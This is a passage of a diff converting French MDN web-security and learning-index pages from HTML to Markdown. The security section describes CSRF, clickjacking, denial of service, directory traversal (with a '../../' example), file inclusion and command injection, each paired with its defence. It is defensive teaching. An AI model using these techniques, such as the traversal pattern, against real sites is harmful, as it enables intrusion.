navigateur web associe au site (l'ajout à la requête du cookie associé au site est le comportement normal du navigateur). Le serveur va vérifier le cookie d'authentification, et l'utiliser pour déterminer si l'utilisateur est ou n'est pas connecté et donc permet ou non la transaction.</p> +Si un utilisateur clique sur le bouton de validation, une requête HTTP POST, contenant les informations de transaction, va être transmise au serveur ainsi que le cookie que le navigateur web associe au site (l'ajout à la requête du cookie associé au site est le comportement normal du navigateur). Le serveur va vérifier le cookie d'authentification, et l'utiliser pour déterminer si l'utilisateur est ou n'est pas connecté et donc permet ou non la transaction. -<p>Au final tout utilisateur qui va cliquer sur le bouton de validation, alors qu'il sera connecté sur le site d'échange d'argent, va autoriser la transaction. John va devenir riche !</p> +Au final tout utilisateur qui va cliquer sur le bouton de validation, alors qu'il sera connecté sur le site d'échange d'argent, va autoriser la transaction. John va devenir riche ! -<div class="note"> -<p><strong>Note :</strong> l'astuce ici est que John n'a pas besoin d'accéder aux cookies de l'utilisateur (ou à ses identifiants), le navigateur web stocke cette information et l'inclut automatiquement dans toute les requêtes destinées au serveur associé.</p> -</div> +> **Note :** l'astuce ici est que John n'a pas besoin d'accéder aux cookies de l'utilisateur (ou à ses identifiants), le navigateur web stocke cette information et l'inclut automatiquement dans toute les requêtes destinées au serveur associé. -<p>Un moyen de prévenir ce type d'attaque est que le serveur demande que chaque requête POST possède un secret généré par le serveur et spécifique à l'utilisateur (le secret serait transmis par le serveur lors de l'envoi du formulaire de transaction). Cette approche empêche John de créer son propre formulaire car il n'est pas capable de connaitre le secret que le serveur founit à l'utilisateur. Même si il venait à trouver ce secret et créer un formulaire pour un utilisateur particulier, il ne pourrait pas utiliser ce formulaire pour attaquer d'autres utilisateurs</p> +Un moyen de prévenir ce type d'attaque est que le serveur demande que chaque requête POST possède un secret généré par le serveur et spécifique à l'utilisateur (le secret serait transmis par le serveur lors de l'envoi du formulaire de transaction). Cette approche empêche John de créer son propre formulaire car il n'est pas capable de connaitre le secret que le serveur founit à l'utilisateur. Même si il venait à trouver ce secret et créer un formulaire pour un utilisateur particulier, il ne pourrait pas utiliser ce formulaire pour attaquer d'autres utilisateurs -<p>Les framework web incluent souvent des mécanismes afin de prévenir les attaques CSRF.</p> +Les framework web incluent souvent des mécanismes afin de prévenir les attaques CSRF. -<h3 id="Autre_menaces">Autre menaces</h3> +### Autre menaces -<p>Les autres attaques et vulnérabilités courantes incluent:</p> +Les autres attaques et vulnérabilités courantes incluent: -<ul> - <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. Dans cette attaque un utilisateur malveillant détourne les clics destinés à un site visible et les envoie dans une page cachée en dessous. Cette technique peut être utilisée, par exemple, pour afficher le site légitime d'une banque mais capturer les identifiants d'authentification dans une <iframe> invisible controlée par l'attaquant. Sinon cela peut être utilisé pour obtenir de l'utilisateur qu'il clique sur le bouton visible d'un site, mais en le faisant il va en fait cliquer involontairement sur un bouton différent. Comme défense, votre site peut se prévenir d'être inclut dans une iframe d'un autre site en configurant les bonnes en-têtes HTTP.</li> - <li><a href="/fr/docs/Glossaire/Déni_de_service_distribué">Déni de Service</a> (DoS). Le déni de service est souvent pratiqué en surchargeant de fausses requêtes un site cible avec afin que l'accès au site soit perturbé pour les usagers légitimes. Les requêtes peuvent simplement être nombreuses, ou elles peuvent individuellement nécessiter une grande quantité de ressource (ex: chargement de fichiers lourds, etc). La défense contre cette attaque se base souvent sur l'identification et le blocage du mauvais trafic tout en autorisant l'arrivée des messages légitimes. Ces défenses sont généralement intégrées ou en amont du serveur web (elle ne font pas partie de l'application web).</li> - <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">Découverte via la navigation dans les répertoires et fichiers</a>. Dans cette famille d'attaque un utilisateur malveillant va tenter d'accèder aux fichiers du serveur web auxquels il ne devrait pas avoir accès. Cette vulnérabilité se produit quand l'utilisateur peut transmettre le nom d'un fichier qui comprend les caractères de navigation dans le système de fichier (par exemple: <code>../../</code>). La solution est de désinfecter la saisie avant de l'utiliser.</li> - <li><a href="https://fr.wikipedia.org/wiki/Remote_File_Inclusion">Inclusion de fichiers</a>. Dans cette attaque un utilisateur est capable de spécifier un fichier "involontaire" pour être affiché ou exécuté dans les données transmises au serveur. Une fois chargé ce fichier peut être exécuté sur le serveur web ou du côté client (menant à une attaque XSS). La solution est de vérifier les saisies avant de les utiliser.</li> - <li><a href="https://www.owasp.org/index.php/Command_Injection">Injection de commandes</a>. Les attaques par injection de commande permettent à un utilisateur malveillant d'exécuter des commandes systèmes frauduleuses sur le système hôte. La solution est de vérifier chaque saisie des utilisateurs avant de les utiliser dans les appels systèmes.</li> -</ul> +- [Clickjacking](https://www.owasp.org/index.php/Clickjacking). Dans cette attaque un utilisateur malveillant détourne les clics destinés à un site visible et les envoie dans une page cachée en dessous. Cette technique peut être utilisée, par exemple, pour afficher le site légitime d'une banque mais capturer les identifiants d'authentification dans une \<iframe> invisible controlée par l'attaquant. Sinon cela peut être utilisé pour obtenir de l'utilisateur qu'il clique sur le bouton visible d'un site, mais en le faisant il va en fait cliquer involontairement sur un bouton différent. Comme défense, votre site peut se prévenir d'être inclut dans une iframe d'un autre site en configurant les bonnes en-têtes HTTP. +- [Déni de Service](/fr/docs/Glossaire/Déni_de_service_distribué) (DoS). Le déni de service est souvent pratiqué en surchargeant de fausses requêtes un site cible avec afin que l'accès au site soit perturbé pour les usagers légitimes. Les requêtes peuvent simplement être nombreuses, ou elles peuvent individuellement nécessiter une grande quantité de ressource (ex: chargement de fichiers lourds, etc). La défense contre cette attaque se base souvent sur l'identification et le blocage du mauvais trafic tout en autorisant l'arrivée des messages légitimes. Ces défenses sont généralement intégrées ou en amont du serveur web (elle ne font pas partie de l'application web). +- [Découverte via la navigation dans les répertoires et fichiers](https://en.wikipedia.org/wiki/Directory_traversal_attack). Dans cette famille d'attaque un utilisateur malveillant va tenter d'accèder aux fichiers du serveur web auxquels il ne devrait pas avoir accès. Cette vulnérabilité se produit quand l'utilisateur peut transmettre le nom d'un fichier qui comprend les caractères de navigation dans le système de fichier (par exemple: `../../`). La solution est de désinfecter la saisie avant de l'utiliser. +- [Inclusion de fichiers](https://fr.wikipedia.org/wiki/Remote_File_Inclusion). Dans cette attaque un utilisateur est capable de spécifier un fichier "involontaire" pour être affiché ou exécuté dans les données transmises au serveur. Une fois chargé ce fichier peut être exécuté sur le serveur web ou du côté client (menant à une attaque XSS). La solution est de vérifier les saisies avant de les utiliser. +- [Injection de commandes](https://www.owasp.org/index.php/Command_Injection). Les attaques par injection de commande permettent à un utilisateur malveillant d'exécuter des commandes systèmes frauduleuses sur le système hôte. La solution est de vérifier chaque saisie des utilisateurs avant de les utiliser dans les appels systèmes. -<p>Il y en a beaucoup d'autres. Pour une liste plus exhaustive vous pouvez consulter la catégorie <a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">failles de sécurité Web</a> (Wikipedia) et <a href="https://www.owasp.org/index.php/Category:Attack">la catégorie Attaques</a> (du projet OWASP).</p> +Il y en a beaucoup d'autres. Pour une liste plus exhaustive vous pouvez consulter la catégorie [failles de sécurité Web](https://en.wikipedia.org/wiki/Category:Web_security_exploits) (Wikipedia) et [la catégorie Attaques](https://www.owasp.org/index.php/Category:Attack) (du projet OWASP). -<h2 id="Quelques_messages_clés">Quelques messages clés</h2> +## Quelques messages clés -<p>La majorité des attaques citées précédement réusissent lorsque l'application web fait confiance aux données provenant du navigateur web. Quoique vous fassiez d'autre pour améliorer la sécurité de votre site web, vous devez désinfecter toutes les saisies des utilisateurs avant de les afficher, de les utiliser dans les requêtes SQL ou de les transmettre dans les appels du système ou du système de fichier.</p> +La majorité des attaques citées précédement réusissent lorsque l'application web fait confiance aux données provenant du navigateur web. Quoique vous fassiez d'autre pour améliorer la sécurité de votre site web, vous devez désinfecter toutes les saisies des utilisateurs avant de les afficher, de les utiliser dans les requêtes SQL ou de les transmettre dans les appels du système ou du système de fichier. -<div class="warning"> -<p><strong>Attention :</strong> la leçon la plus importante à retenir concernant la sécurité d'un site web est de ne <strong>jamais faire confiance aux données du navigateur web</strong>. Cela comprend les requêtes <code>GET</code> avec la présence des paramètres dans l'URL, les données envoyées avec les <code>POST</code>, les en-têtes HTTP, les cookies, les fichiers chargés par l'utilisateur, etc. Il faut toujours vérifier et assainir les données. Il faut toujours s'attendre au pire.</p> -</div> +> **Attention :** la leçon la plus importante à retenir concernant la sécurité d'un site web est de ne **jamais faire confiance aux données du navigateur web**. Cela comprend les requêtes `GET` avec la présence des paramètres dans l'URL, les données envoyées avec les `POST`, les en-têtes HTTP, les cookies, les fichiers chargés par l'utilisateur, etc. Il faut toujours vérifier et assainir les données. Il faut toujours s'attendre au pire. -<p>Quelques autres points que vous pouvez mettre en place :</p> +Quelques autres points que vous pouvez mettre en place : -<ul> - <li>Utilisez une politique de gestion des mots de passe efficace. Encouragez les mots de passe solides avec leur renouvellement fréquent. Prenez en compte une authentification à deux facteurs sur votre site (l'utilisateur, en plus du mot de passe, devra fournir un autre code d'authentification généralement fourni par un matériel physique, que seul l'utilisateur possède, comme un code envoyé sur le téléphone par SMS).</li> - <li>Configurez vos serveurs web pour utiliser <a href="/fr/docs/Glossary/https">HTTPS</a> et <a href="/fr/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS chiffre les données transmises entre le client et le serveur. Cela garantit que les données d'authentification, les cookies, les données transistant avec <code>POST</code> et les informations d'en-têtes deviennent moins disponibles pour l'attaquant.</li> - <li>Tenez vous informé des dernières menaces (<a href="/fr/docs/">la liste actuelle d'OWASP est ici</a>) et préoccupez vous toujours des vulnerabilités les plus courantes en premier.</li> - <li>Utilisez <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">des outils de recherche de vulnérabilités </a> pour faire automatiquement des recherches de bug sur votre site (votre site pourra également proposer un programme de <em>buf bounty </em>pour déceler des bugs, <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">comme le fait Mozilla ici</a>).</li> - <li>Ne stockez et n'affichez que les données nécessaires. Par exemple, si votre utilisateur doit stocker des données sensibles comme des informations bancaires, affichez seulement ce qui sera suffisant pour être identifié par l'utilisateur, mais pas suffisament pour être copié par un attaquant et être utilisé sur un autre site. La méthode la plus courante en ce moment est de n'afficher que les quatre derniers chiffres du numéro de carte bancaire.</li> -</ul> +- Utilisez une politique de gestion des mots de passe efficace. Encouragez les mots de passe solides avec leur renouvellement fréquent. Prenez en compte une authentification à deux facteurs sur votre site (l'utilisateur, en plus du mot de passe, devra fournir un autre code d'authentification généralement fourni par un matériel physique, que seul l'utilisateur possède, comme un code envoyé sur le téléphone par SMS). +- Configurez vos serveurs web pour utiliser [HTTPS](/fr/docs/Glossary/https) et [HTTP Strict Transport Security](/fr/docs/Web/Security/HTTP_strict_transport_security) (HSTS). HTTPS chiffre les données transmises entre le client et le serveur. Cela garantit que les données d'authentification, les cookies, les données transistant avec `POST` et les informations d'en-têtes deviennent moins disponibles pour l'attaquant. +- Tenez vous informé des dernières menaces ([la liste actuelle d'OWASP est ici](/fr/docs/)) et préoccupez vous toujours des vulnerabilités les plus courantes en premier. +- Utilisez [des outils de recherche de vulnérabilités ](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) pour faire automatiquement des recherches de bug sur votre site (votre site pourra également proposer un programme de _buf bounty_ pour déceler des bugs, [comme le fait Mozilla ici](https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/)). +- Ne stockez et n'affichez que les données nécessaires. Par exemple, si votre utilisateur doit stocker des données sensibles comme des informations bancaires, affichez seulement ce qui sera suffisant pour être identifié par l'utilisateur, mais pas suffisament pour être copié par un attaquant et être utilisé sur un autre site. La méthode la plus courante en ce moment est de n'afficher que les quatre derniers chiffres du numéro de carte bancaire. -<p>Les frameworks web peuvent aider à atténuer beaucoup des vulnérabilités les plus courantes.</p> +Les frameworks web peuvent aider à atténuer beaucoup des vulnérabilités les plus courantes. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Cet article a présenté le concept de sécurité web et quelques-unes des menaces courantes vis-à-vis desquelles il faut se protéger. Le plus important à comprendre est qu'une application web ne peut pas faire confiance aux données provenant du navigateur ! Les données des utilisateurs doivent toutes être nettoyées avant d'être affichées ou utilisées dans les requêtes SQL ou dans les appels systèmes.</p> +Cet article a présenté le concept de sécurité web et quelques-unes des menaces courantes vis-à-vis desquelles il faut se protéger. Le plus important à comprendre est qu'une application web ne peut pas faire confiance aux données provenant du navigateur ! Les données des utilisateurs doivent toutes être nettoyées avant d'être affichées ou utilisées dans les requêtes SQL ou dans les appels systèmes. -<p>C'est la fin de <a href="/fr/docs/Learn/Server-side/First_steps">ce module</a>, couvrant vos premiers pas dans le développement d'un site web côté serveur. Nous espérons que vous avez apprécié apprendre les concepts fondamentaux. Vous êtes désormais apte à choisir un framework web et à commencer à programmer.</p> +C'est la fin de [ce module](/fr/docs/Learn/Server-side/First_steps), couvrant vos premiers pas dans le développement d'un site web côté serveur. Nous espérons que vous avez apprécié apprendre les concepts fondamentaux. Vous êtes désormais apte à choisir un framework web et à commencer à programmer. -<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> +{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}} diff --git a/files/fr/learn/server-side/index.md b/files/fr/learn/server-side/index.md index 64bc78289b..c2d8af0aa4 100644 --- a/files/fr/learn/server-side/index.md +++ b/files/fr/learn/server-side/index.md @@ -13,46 +13,40 @@ tags: - TopicStub translation_of: Learn/Server-side --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Le sujet abordant les sites <strong>web dynamiques / la programmation coté serveur</strong> est une série de modules vous montrant comment créer un site web dynamique (sites web intereagissant avec vous de manière à vous donner des informations personnelles en réponse aux requêtes HTTP). Les modules fournissent une introduction universelle à la programmation coté serveur à travers des guides spécifiques pour les debutants vous montrant comment vous servir des infrastructure d'application (aussi appelé frameworks) Django (fait en Python) et Express(fait en Node.js/JavaScript) afin de créer des applications basiques.</p> +Le sujet abordant les sites **web dynamiques / la programmation coté serveur** est une série de modules vous montrant comment créer un site web dynamique (sites web intereagissant avec vous de manière à vous donner des informations personnelles en réponse aux requêtes HTTP). Les modules fournissent une introduction universelle à la programmation coté serveur à travers des guides spécifiques pour les debutants vous montrant comment vous servir des infrastructure d'application (aussi appelé frameworks) Django (fait en Python) et Express(fait en Node.js/JavaScript) afin de créer des applications basiques. -<p>La plupart des sites web utilisent une technologie (frameworks, serveurs, languages, etc.) côté serveur afin d'afficher dynamiquement les différentes informations requises. Par exemple, imaginez combien de produits sont disponibles sur Amazon, et imaginez combien de post ont été publiés sur Facebook depuis son commencement ? Afficher tout ceci en utilisant uniquement des pages 'statiques' aurait été absolument inutile et complétement infernal, au lieu de ça les sites dynamiques utilisent des templates (sorte de page statique servant de 'modèle', programmé en utilisant le <a href="/fr/docs/Learn/HTML">HTML</a>, le <a href="/fr/docs/Learn/CSS">CSS </a>et le <a href="/fr/docs/Learn/JavaScript">JavaScript</a> dans lequel on viendra y insérer les informations voulues ; par exemple, chaque page d'article amazon est la même, il s'agit juste d'un template dans lequel viennent se placer les informations du produit sélectionné).</p> +La plupart des sites web utilisent une technologie (frameworks, serveurs, languages, etc.) côté serveur afin d'afficher dynamiquement les différentes informations requises. Par exemple, imaginez combien de produits sont disponibles sur Amazon, et imaginez combien de post ont été publiés sur Facebook depuis son commencement ? Afficher tout ceci en utilisant uniquement des pages 'statiques' aurait été absolument inutile et complétement infernal, au lieu de ça les sites dynamiques utilisent des templates (sorte de page statique servant de 'modèle', programmé en utilisant le [HTML](/fr/docs/Learn/HTML), le [CSS ](/fr/docs/Learn/CSS)et le [JavaScript](/fr/docs/Learn/JavaScript) dans lequel on viendra y insérer les informations voulues ; par exemple, chaque page d'article amazon est la même, il s'agit juste d'un template dans lequel viennent se placer les informations du produit sélectionné). -<p>De nos jours, dans le monde du web, apprendre la programmation côté serveur est indispensable.</p> +De nos jours, dans le monde du web, apprendre la programmation côté serveur est indispensable. -<h2 id="Lapprentissage">L'apprentissage</h2> +## L'apprentissage -<p>Se lancer dans la programmation côté serveur est souvent plus facile que de se lancer dans la programmation côté client, parce que les sites dynamiques ont tendance à faire toujours la même chose (recevoir des données d'une base de données, et l'afficher dans une page, valider les entrées de l'utilisateur et les sauvegarder dans la base de données, vérifier les permissions utilisateur ainsi que les connections etc.), et sont en général construits autour d'un framework web rendant les opérations assez faciles.</p> +Se lancer dans la programmation côté serveur est souvent plus facile que de se lancer dans la programmation côté client, parce que les sites dynamiques ont tendance à faire toujours la même chose (recevoir des données d'une base de données, et l'afficher dans une page, valider les entrées de l'utilisateur et les sauvegarder dans la base de données, vérifier les permissions utilisateur ainsi que les connections etc.), et sont en général construits autour d'un framework web rendant les opérations assez faciles. -<p>Des connaissances minimales en concepts de programmation pourront être utiles, mais pas essentielles. Les connaissances en développement côté client sont également utiles mais pas indispensables, considérez néamoins que cela vous aiderai à mieux travailler avec des développeurs qui créeront la partie côté client du site aussi appelé "front-end".</p> +Des connaissances minimales en concepts de programmation pourront être utiles, mais pas essentielles. Les connaissances en développement côté client sont également utiles mais pas indispensables, considérez néamoins que cela vous aiderai à mieux travailler avec des développeurs qui créeront la partie côté client du site aussi appelé "front-end". -<p>Vous allez avoir besoin de comprendre "comment le fonctionne le Web". Nous vous recommandons premièremement de lire les sujets suivants :</p> +Vous allez avoir besoin de comprendre "comment le fonctionne le Web". Nous vous recommandons premièremement de lire les sujets suivants : -<ul> - <li><a href="/fr/Apprendre/Qu_est-ce_qu_un_serveur_web">Qu'est-ce qu'un serveur web</a></li> - <li><a href="/fr/Apprendre/Quels_logiciels_sont_n%C3%A9cessaires_pour_construire_un_site_web">De quel logiciels ai-je besoin afin de faire des sites web ?</a></li> - <li><a href="/fr/Apprendre/Transf%C3%A9rer_des_fichiers_vers_un_serveur_web">Comment transférer des fichiers à un serveur web ?</a></li> -</ul> +- [Qu'est-ce qu'un serveur web](/fr/Apprendre/Qu_est-ce_qu_un_serveur_web) +- [De quel logiciels ai-je besoin afin de faire des sites web ?](/fr/Apprendre/Quels_logiciels_sont_n%C3%A9cessaires_pour_construire_un_site_web) +- [Comment transférer des fichiers à un serveur web ?](/fr/Apprendre/Transf%C3%A9rer_des_fichiers_vers_un_serveur_web) -<p>Ces articles vous donnerons les outils nécessaires afin de travailler avec les modules de cette section.</p> +Ces articles vous donnerons les outils nécessaires afin de travailler avec les modules de cette section. -<h2 id="Modules">Modules</h2> +## Modules -<p>Ce sujet contient les modules suivants. Vous feriez mieux de commencer par le premier module, pour ensuite faire les autres qui vous montrerons comment travailler à l'aide des 2 languages de programmation côté serveur les plus populaire en utilisant les frameworks web appropriés.</p> +Ce sujet contient les modules suivants. Vous feriez mieux de commencer par le premier module, pour ensuite faire les autres qui vous montrerons comment travailler à l'aide des 2 languages de programmation côté serveur les plus populaire en utilisant les frameworks web appropriés. -<dl> - <dt><a href="/fr/docs/Learn/Server-side/First_steps">Les premiers pas en programmation de site web côté serveur </a></dt> - <dd>Ce module fournit les informations de base sur la programmation de site web côté serveur en répondant à des questions telles que "Qu'est-ce que c'est ?", "En quoi est-ce différent de la prgrammation côté client ?" ou encore "Pourquoi est-ce si utile ?" ainsi qu'un aperçu de quelques frameworks côté serveur et comment choisir le vôtre en fonction de vos besoin ou des besoins de votre site web. Finalement nous allons vous présenter les principes de sécurité en serveur web.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Django">Le framework Web Django (Python)</a></dt> - <dd>Django est une infrastructure d'application (framework) côté serveur extrêmement populaire et dotée de son lot de fonctionnalités, écrite en Python. Ce module vous expliquera pourquoi Django fait un si bon framework pour serveurs, comment l'installer et s'en servir.</dd> - <dt><a href="/fr/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a></dt> - <dd>Express est une infrastructure d'application (framework) assez populaire, écrite en JavaScript et fonctionnant à l'aide de Node.js. Ce module explique les avantages dont bénéficie ce framework, comment l'installer ainsi que comment s'en servir.</dd> -</dl> +- [Les premiers pas en programmation de site web côté serveur](/fr/docs/Learn/Server-side/First_steps) + - : Ce module fournit les informations de base sur la programmation de site web côté serveur en répondant à des questions telles que "Qu'est-ce que c'est ?", "En quoi est-ce différent de la prgrammation côté client ?" ou encore "Pourquoi est-ce si utile ?" ainsi qu'un aperçu de quelques frameworks côté serveur et comment choisir le vôtre en fonction de vos besoin ou des besoins de votre site web. Finalement nous allons vous présenter les principes de sécurité en serveur web. +- [Le framework Web Django (Python)](/fr/docs/Learn/Server-side/Django) + - : Django est une infrastructure d'application (framework) côté serveur extrêmement populaire et dotée de son lot de fonctionnalités, écrite en Python. Ce module vous expliquera pourquoi Django fait un si bon framework pour serveurs, comment l'installer et s'en servir. +- [Express Web Framework (Node.js/JavaScript)](/fr/docs/Learn/Server-side/Express_Nodejs) + - : Express est une infrastructure d'application (framework) assez populaire, écrite en JavaScript et fonctionnant à l'aide de Node.js. Ce module explique les avantages dont bénéficie ce framework, comment l'installer ainsi que comment s'en servir. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<dl> - <dt><a href="/fr/docs/Learn/Server-side/Node_server_without_framework">Serveur Node sans infrastucture d'application (framework) </a></dt> - <dd>Cet article comprend un serveur statique réalisé avec Node.js seul, pour ceux qui ne veulent pas utiliser de frameworks.</dd> -</dl> +- [Serveur Node sans infrastucture d'application (framework)](/fr/docs/Learn/Server-side/Node_server_without_framework) + - : Cet article comprend un serveur statique réalisé avec Node.js seul, pour ceux qui ne veulent pas utiliser de frameworks. diff --git a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/index.md b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/index.md index fd3e443982..7ffca23234 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/index.md @@ -10,166 +10,144 @@ tags: - client-side translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} + +Les frameworks JavaScript sont une partie essentielle du développement web front-end moderne, fournissant aux développeurs des outils éprouvés pour construire des applications web évolutives et interactives. De nombreuses entreprises modernes utilisent des frameworks comme un élément normé de leur outillage, de sorte que de nombreux emplois de développement front-end requièrent désormais une expérience avec ces frameworks. + +En tant que futur développeur front-end, il peut être difficile de savoir par où commencer lors de l'apprentissage des frameworks – il y a tant de frameworks si différents les uns des autres et de nouveaux qui apparaissent sans cesse, ils fonctionnent généralement de manière similaire mais font certaines choses différemment, et il y a certaines choses spécifiques à avoir en tête lors de leur utilisation. + +Dans cet ensemble d'articles, nous chercherons à vous donner un point de départ confortable pour vous aider à commencer votre apprentissage des frameworks. Nous ne visons pas à vous enseigner exhaustivement tout ce que vous devez savoir sur React / ReactDOM, Vue ou quelque autre framework particulier ; les documentations fournises par les équipes de développement des frameworks font déjà ce travail. Nous souhaitons plutôt faire simple et répondre d'abord à des questions plus fondamentales telles que : + +- Pourquoi devrais-je utiliser un framework ? Quels problèmes résolvent-ils pour moi ? +- Quelles questions devrais-je me poser pour choisir un framework ? Ai-je au moins besoin d'un framework ? +- Quelles fonctionnalités proposent les frameworks ? Comment fonctionnent-ils en général et comment diffèrent leurs implantations de ces fonctionnalités ? +- Comment se rapportent-ils au JavaScript "vanilla" ou à l'HTML ? -<p>Les frameworks JavaScript sont une partie essentielle du développement web front-end moderne, fournissant aux développeurs des outils éprouvés pour construire des applications web évolutives et interactives. De nombreuses entreprises modernes utilisent des frameworks comme un élément normé de leur outillage, de sorte que de nombreux emplois de développement front-end requièrent désormais une expérience avec ces frameworks.</p> +Après ceci, nous vous fournirons quelques tutoriels couvrant les notions fondamentales de certains des principaux frameworks afin de vous fournir suffisamment de contexte et de familiarité pour commencer à approfondir par vous-même. Nous voulons que vous puissiez progresser et en apprendre plus sur les frameworks de manière pragmatique sans oublier les bonnes pratiques fondamentales du web telles que l'accessibilité. -<p>En tant que futur développeur front-end, il peut être difficile de savoir par où commencer lors de l'apprentissage des frameworks – il y a tant de frameworks si différents les uns des autres et de nouveaux qui apparaissent sans cesse, ils fonctionnent généralement de manière similaire mais font certaines choses différemment, et il y a certaines choses spécifiques à avoir en tête lors de leur utilisation.</p> - -<p>Dans cet ensemble d'articles, nous chercherons à vous donner un point de départ confortable pour vous aider à commencer votre apprentissage des frameworks. Nous ne visons pas à vous enseigner exhaustivement tout ce que vous devez savoir sur React / ReactDOM, Vue ou quelque autre framework particulier ; les documentations fournises par les équipes de développement des frameworks font déjà ce travail. Nous souhaitons plutôt faire simple et répondre d'abord à des questions plus fondamentales telles que :</p> - -<ul> - <li>Pourquoi devrais-je utiliser un framework ? Quels problèmes résolvent-ils pour moi ?</li> - <li>Quelles questions devrais-je me poser pour choisir un framework ? Ai-je au moins besoin d'un framework ?</li> - <li>Quelles fonctionnalités proposent les frameworks ? Comment fonctionnent-ils en général et comment diffèrent leurs implantations de ces fonctionnalités ?</li> - <li>Comment se rapportent-ils au JavaScript "vanilla" ou à l'HTML ?</li> -</ul> - -<p>Après ceci, nous vous fournirons quelques tutoriels couvrant les notions fondamentales de certains des principaux frameworks afin de vous fournir suffisamment de contexte et de familiarité pour commencer à approfondir par vous-même. Nous voulons que vous puissiez progresser et en apprendre plus sur les frameworks de manière pragmatique sans oublier les bonnes pratiques fondamentales du web telles que l'accessibilité.</p> - -<p><strong><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Commencez dès maintenant, avec "Introduction aux frameworks côté client"</a></strong></p> - -<h2 id="Prérequis">Prérequis</h2> - -<p>Vous devez vraiment connaitre les bases des principaux langages du web (<a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, et particulièrement <a href="/fr/docs/Learn/JavaScript">JavaScript</a>) avant d'essayer de vous lancer dans l'apprentissage des frameworks côté client.</p> - -<p>Votre code n'en sera que plus qualitatif et plus professionnel, et vous serez en mesure de résoudre vos problèmes avec plus de confiance si vous comprenez les fonctionnalités fondamentales du web sur lesquelles les frameworks s'appuient.</p> - -<h3 id="Vous_voulez_devenir_développeur_web_front-end">Vous voulez devenir développeur web front-end ?</h3> - -<p>Nous avons créé un cours qui inclut toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif.</p> - -<p><a href="/fr/docs/Learn/Front-end_web_developer">Commencer</a></p> - -<h2 id="Guides_dintroduction">Guides d'introduction</h2> - -<dl> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">1. Introduction aux frameworks côté client</a></dt> - <dd>Nous commençons notre aperçu des frameworks par un tour d'horizon général du domaine, notamment en regardant un bref historique de JavaScript et des frameworks, la raison pour laquelle les frameworks existent et ce qu'ils nous proposent, comment commencer à réfléchir au choix d'un framework à apprendre et quelles alternatives il y a aux frameworks côté client.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">2. Principales caractéristiques du Framework</a></dt> - <dd>Chaque framework JavaScript majeur a une approche différente de la mise à jour du DOM, de la gestion des évènements du navigateur et de la manière dont rendre l'expérience de développement agréable. Cet article explorera les principales caractéristiques des 4 grands frameworks, en examinant comment les frameworks ont tendance à fonctionner à un haut niveau et les différences entre eux.</dd> -</dl> - -<h2 id="Tutoriels_sur_React">Tutoriels sur React</h2> - -<div class="note"> -<p><strong>Note :</strong> Les tutoriels sur React ont été essayés pour la dernière fois en mai 2020, avec React/ReactDOM 16.13.1 et create-react-app 3.4.1.</p> - -<p>Si vous avez besoin de vérifier votre code par rapport à notre version, vous pouvez trouver une version finale de l'exemple de code d'application React dans notre <a href="https://github.com/mdn/todo-react">todo-react repository</a>. Pour une version exécutable en direct, voir <a href="https://mdn.github.io/todo-react-build/">https://mdn.github.io/todo-react-build/</a>.</p> -</div> - -<dl> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">1. Premier pas avec React</a></dt> - <dd>Dans cet article, nous dirons bonjour à React. Nous découvrirons les prémices de son fonctionnement et de ses cas d'utilisation, configurerons une chaine d'outils React de base sur notre ordinateur local et créerons et jouerons avec une application de démarrage simple, en apprenant un peu plus sur le fonctionnement de React dans le processus.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">2. Début de notre liste de tâches React</a></dt> - <dd>Supposons que nous ayons été chargés de créer une preuve de concept dans React – une application qui permet aux utilisateurs d'ajouter, de modifier et de supprimer les tâches sur lesquelles ils souhaitent travailler, ainsi que de marquer les tâches comme terminées sans les supprimer. Cet article vous guidera tout au long de la mise en place de la structure et du style des composants de base de l'application, prêts pour la définition et l'interactivité des composants individuels, que nous ajouterons plus tard.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">3. Diviser notre application React en composants</a></dt> - <dd>À ce stade, notre application est un monolithe. Avant de pouvoir lui faire faire des choses, nous devons le diviser en composants descriptifs gérables. React n'a pas de règles strictes pour ce qui est et n'est pas un composant - c'est à vous de décider ! Dans cet article, nous allons vous montrer un moyen judicieux de diviser notre application en composants.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">4. Interactivité de React: évènements et états</a></dt> - <dd>Une fois notre plan de composants élaboré, il est maintenant temps de commencer à faire évoluer notre application d'une interface utilisateur complètement statique vers une interface qui nous permet réellement d'interagir et de modifier des choses. Dans cet article, nous allons le faire, en explorant les évènements et les états en cours de route.</dd> - <dt><a 